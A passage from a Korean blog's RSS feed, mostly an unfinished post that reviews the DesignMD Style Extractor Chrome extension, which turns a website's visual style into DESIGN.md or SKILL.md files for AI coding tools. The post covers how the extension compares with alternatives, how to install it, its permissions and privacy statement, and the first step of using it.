&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 CHANGELOG: &lt;a href=&quot;https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 CHANGELOG Raw: &lt;a href=&quot;https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Raw Markdown&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 Releases: &lt;a href=&quot;https://github.com/anthropics/claude-code/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Releases&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;npm registry metadata: &lt;a href=&quot;https://registry.npmjs.org/@anthropic-ai/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@anthropic-ai/claude-code&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code 공식 문서: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AutoMode안전장치</category>
      <category>MCP지연로드</category>
      <category>Opus4.7</category>
      <category>PreCompact훅</category>
      <category>Remotecontrol</category>
      <category>team-onboarding</category>
      <category>ultrareview</category>
      <category>xhigh_effort</category>
      <category>클로드코드업데이트</category>
      <category>터미널TUI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/594</guid>
      <comments>https://goddaehee.tistory.com/594#entry594comment</comments>
      <pubDate>Wed, 6 May 2026 01:32:45 +0900</pubDate>
    </item>
    <item>
      <title>DESIGN.md 자동 생성 : DesignMD Style Extractor - 클릭 하나로 웹사이트 디자인 시스템을 추출하는 Chrome 확장 프로그램</title>
      <link>https://goddaehee.tistory.com/593</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DQ8JM/dJMcagSVaI0/TVpLLhjRgkvfmhp5RgyQhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DQ8JM/dJMcagSVaI0/TVpLLhjRgkvfmhp5RgyQhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DQ8JM/dJMcagSVaI0/TVpLLhjRgkvfmhp5RgyQhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDQ8JM%2FdJMcagSVaI0%2FTVpLLhjRgkvfmhp5RgyQhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 인트로 문단 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Design.md를 만들때 Claude.design을 사용하며 테스트를 이것저것 해보는 와중이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 유명한 유튜버, x.com의 빅테크 인사, 여러 한국 쓰레드를 즐겨보곤 하는데 그중 즐겨보는&amp;nbsp;&lt;a href=&quot;https://www.threads.com/@unclejobs.ai/post/DXLGC2hiZu4&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@unclejobs.ai의 Threads&lt;/a&gt; 에서 하나의 아이디어를 보게되어 글을 작성하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 며칠 전 정리하던 Design.md 관련 글보다 핵심을 더 단정하게 짚고 있어 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/582&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2026.04.23 - [AI/Design] - DESIGN.md : Google Stitch가 도입한 DESIGN.md - DESIGN.md 도입 배경부터 적용해보기(VoltAgent awesome-design-md 컬렉션 활용 가이드)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 문장으로 요약하면 &quot;Google Stitch가 design-to-code 흐름을 정착시켰는데, 그 앞단(upstream)이 비어 있다&quot;라는 지적이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI는 디자인 명세를 받으면 코드를 꽤 잘 만든다. 문제는 그 명세를 누가 쓰느냐는 점이다. 디자이너가 없거나 피그마를 안 쓰는 바이브 코더에게 이 공백은 꽤 크다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cW17cS/dJMcahEgef6/PqCj8mzNoYdh8M74ck2O10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cW17cS/dJMcahEgef6/PqCj8mzNoYdh8M74ck2O10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cW17cS/dJMcahEgef6/PqCj8mzNoYdh8M74ck2O10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcW17cS%2FdJMcahEgef6%2FPqCj8mzNoYdh8M74ck2O10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;1168&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서 다루는 &lt;b&gt;DesignMD Style Extractor&lt;/b&gt;는 그 빈 칸을 Chrome 확장 하나로 메우려는 시도다. 어떤 웹페이지든 클릭 한 번이면 페이지의 색&amp;middot;타이포&amp;middot;간격&amp;middot;모션을 추출해 &lt;code&gt;DESIGN.md&lt;/code&gt; 또는 &lt;code&gt;SKILL.md&lt;/code&gt;로 정리해 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 GitHub 소스를 직접 뜯어 이 확장이 &lt;b&gt;어떻게 280개 요소를 샘플링하고&lt;/b&gt;, &lt;b&gt;어떤 기준으로 사이트의 성격을 추론하는지&lt;/b&gt;, 그리고 &lt;b&gt;DESIGN.md/SKILL.md 두 출력 모드의 차이가 무엇인지&lt;/b&gt;까지 짚어본다. v0.4.0(2026-04-29 기준) 코드 기준이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;너무 딥다이브한다는 느낌이 있다면 차라리 해당 피드를 보시는것을 추천 드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.threads.com/@unclejobs.ai/post/DXLGC2hiZu4&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.threads.com/@unclejobs.ai/post/DXLGC2hiZu4&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;DesignMD가 뭐고, 왜 쓰는가&lt;/li&gt;
&lt;li&gt;설치: 1분이면 충분&lt;/li&gt;
&lt;li&gt;실전 사용: 3단계로 끝내기&lt;/li&gt;
&lt;li&gt;시나리오별 활용법&lt;/li&gt;
&lt;li&gt;이것만 알고 쓰자 (주의사항)&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;결론: 언제 쓰고, 언제 쓰지 않는가&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. DesignMD 가 뭐고, 왜 쓰는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DesignMD Style Extractor는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/bergside/design-md-chrome&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub에 공개된 MIT 라이선스 Chrome 확장&lt;/a&gt;프로그램다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 웹페이지든 클릭 한 번으로 색상, 폰트, 간격, 애니메이션을 읽어 &lt;code&gt;DESIGN.md&lt;/code&gt;나 &lt;code&gt;SKILL.md&lt;/code&gt; 파일로 만들어준다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배경은 간단하다. 2026년 3월 Google Stitch와 함께 등장한 &lt;code&gt;DESIGN.md&lt;/code&gt; 포맷은 Claude Code, Cursor, Codex 같은 AI 코딩 도구가 &quot;이 파일을 보고 디자인에 맞춰라&quot;는 식으로 참고할 수 있도록 설계됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 이 파일을 누가 만드느냐다. 피그마도 없고 디자이너도 없는 환경에서는 직접 써야 했는데, 이 확장프로그램을 통해 기존 웹사이트에서 역으로 추출해 만들어주는 방식으로 그 빈 자리를 채우고자 하는 컨셉이라고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfXFyK/dJMcadaKAUR/13bEU0BGKKCTXPNGyKKvSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfXFyK/dJMcadaKAUR/13bEU0BGKKCTXPNGyKKvSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfXFyK/dJMcadaKAUR/13bEU0BGKKCTXPNGyKKvSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfXFyK%2FdJMcadaKAUR%2F13bEU0BGKKCTXPNGyKKvSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2128&quot; height=&quot;1166&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;vs 대안 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;DesignMD Style Extractor&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;직접 작성 (수기 DESIGN.md)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;TypeUI Pro 스킬 풀&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;입력&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;임의의 웹페이지 URL&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자이너 가이드 + 개발자 정리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사전 큐레이션된 스킬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;출력&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;DESIGN.md / SKILL.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;DESIGN.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 스킬 + 컴포넌트 마크다운&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가격&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;무료 (MIT)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인건비&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$30/월 또는 $120/년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;데이터 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저 내 로컬&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI pull&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적합 시나리오&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 사이트 톤 복제, 빠른 프로토타입&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;신규 디자인 시스템 정의&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정해진 스타일(Paper, Bento, Neobrutalism 등) 빠르게 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(가격 출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.typeui.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TypeUI 공식&lt;/a&gt;, 데이터 처리 출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://chromewebstore.google.com/detail/designmd-style-extractor/ogpdnchdjiibhobphelbbkemnnemkfma&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Chrome Web Store 개인정보 선언&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 방식은 같은 줄 위에 있지 않다. 직접 작성은 디자인 시스템을 새로 정의하는 작업이고, TypeUI Pro는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.creative-tim.com/blog/ai-agent/typeui-the-design-layer-for-ai-coding-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;57개 이상의 사전 큐레이션된 스타일&lt;/a&gt;을 골라 쓰는 방식이다. 반면 DesignMD 확장은 &lt;b&gt;이미 존재하는 사이트를 역방향으로 추출&lt;/b&gt;해 명세화한다. &quot;내가 좋아하는 그 사이트처럼 만들고 싶다&quot;라는 흔한 요구를 정면으로 받는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Chrome Web Store 설치 (1클릭)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 간단한 경로는 &lt;a href=&quot;https://chromewebstore.google.com/detail/designmd-style-extractor/ogpdnchdjiibhobphelbbkemnnemkfma&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://chromewebstore.google.com/detail/designmd-style-extractor/ogpdnchdjiibhobphelbbkemnnemkfma&lt;/a&gt;에서 &quot;Chrome에 추가&quot;를 누르는 것이다. 카테고리는 Developer Tools다. 설치 후 임의의 웹페이지에서 확장 아이콘을 클릭하면 팝업이 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 나의 경우 이미 설치해서 삭제가 노출된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2292&quot; data-origin-height=&quot;1260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7YZQK/dJMcagMaC76/AlMQwEykKFd0V8YBdGB0D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7YZQK/dJMcagMaC76/AlMQwEykKFd0V8YBdGB0D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7YZQK/dJMcagMaC76/AlMQwEykKFd0V8YBdGB0D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7YZQK%2FdJMcagMaC76%2FAlMQwEykKFd0V8YBdGB0D1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2292&quot; height=&quot;1260&quot; data-origin-width=&quot;2292&quot; data-origin-height=&quot;1260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 확장 프로그램에 설치되어있는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkUHHr/dJMcajaZNxS/CyTiki2nEIHhiRT2F7gDWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkUHHr/dJMcajaZNxS/CyTiki2nEIHhiRT2F7gDWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkUHHr/dJMcajaZNxS/CyTiki2nEIHhiRT2F7gDWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkUHHr%2FdJMcajaZNxS%2FCyTiki2nEIHhiRT2F7gDWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;308&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 모드 (소스에서 직접)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소를 직접 빌드해 쓰려면 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/bergside/design-md-chrome/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README의 절차&lt;/a&gt;를 따른다. 단계는 4개다.&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;chrome://extensions&lt;/code&gt;에 접속한다.&lt;/li&gt;
&lt;li&gt;우측 상단 Developer mode를 활성화한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Load unpacked&lt;/b&gt;를 선택한다.&lt;/li&gt;
&lt;li&gt;클론한 프로젝트 폴더를 지정한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소가 47.06 KiB 수준이라 빌드 단계가 따로 없다. 클론 &amp;rarr; 폴더 지정만으로 바로 동작한다.&lt;/p&gt;
&lt;!-- 콜아웃: 파랑 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;권한은 &lt;code&gt;activeTab&lt;/code&gt;, &lt;code&gt;scripting&lt;/code&gt;, &lt;code&gt;storage&lt;/code&gt;, &lt;code&gt;downloads&lt;/code&gt; 4가지뿐이다. v0.2.0 단계에서 &lt;code&gt;tabs&lt;/code&gt; 권한이 의도적으로 제거되었으며, 원격 서버로 데이터를 보내는 통신 권한이 없는것 같다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://chromewebstore.google.com/detail/designmd-style-extractor/ogpdnchdjiibhobphelbbkemnnemkfma&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Chrome Web Store 개인정보 선언&lt;/a&gt;에서도 &quot;데이터를 수집하지 않으며, 제3자에게 판매하거나 핵심 기능 외 목적으로 사용하지 않는다. 추출은 브라우저 내에서만 동작한다&quot;라고 개발자(Zoltan, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.typeui.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;typeui.sh&lt;/a&gt; 운영)가 직접 선언했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 목록과 현재 공개 소스의 처리 흐름을 보면 이 고지와 대체로 맞아떨어지지만, 개인정보 보장은 실제 배포본과 코드 흐름을 함께 봐야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 사용해보기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1. 원하는 사이트에서 추출하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라 만들고 싶은 레퍼런스 사이트를 열고, 상단 확장 아이콘을 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팝업이 뜨면 &lt;b&gt;Auto-extract&lt;/b&gt; 버튼을 누르면 된다. 수 초 안에 색상, 폰트, 간격, 모션 6개 카테고리를 자동으로 읽어온다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팁:&lt;/b&gt; SPA나 모달이 있는 사이트라면, 먼저 원하는 화면 상태(모달 열린 상태 등)를 만들어 두고 &lt;b&gt;Refresh&lt;/b&gt;를 누르면 그 시점 기준으로 다시 추출한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 내 바이브 코딩용 사이트를 예시로 테스트 해 보았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YUBAL/dJMcajouj5p/kjV2oBqVMYBok4M0nKiM10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YUBAL/dJMcajouj5p/kjV2oBqVMYBok4M0nKiM10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YUBAL/dJMcajouj5p/kjV2oBqVMYBok4M0nKiM10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYUBAL%2FdJMcajouj5p%2FkjV2oBqVMYBok4M0nKiM10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2152&quot; height=&quot;1186&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 우측 상단에 있는 플러그인 클릭&lt;/p&gt;
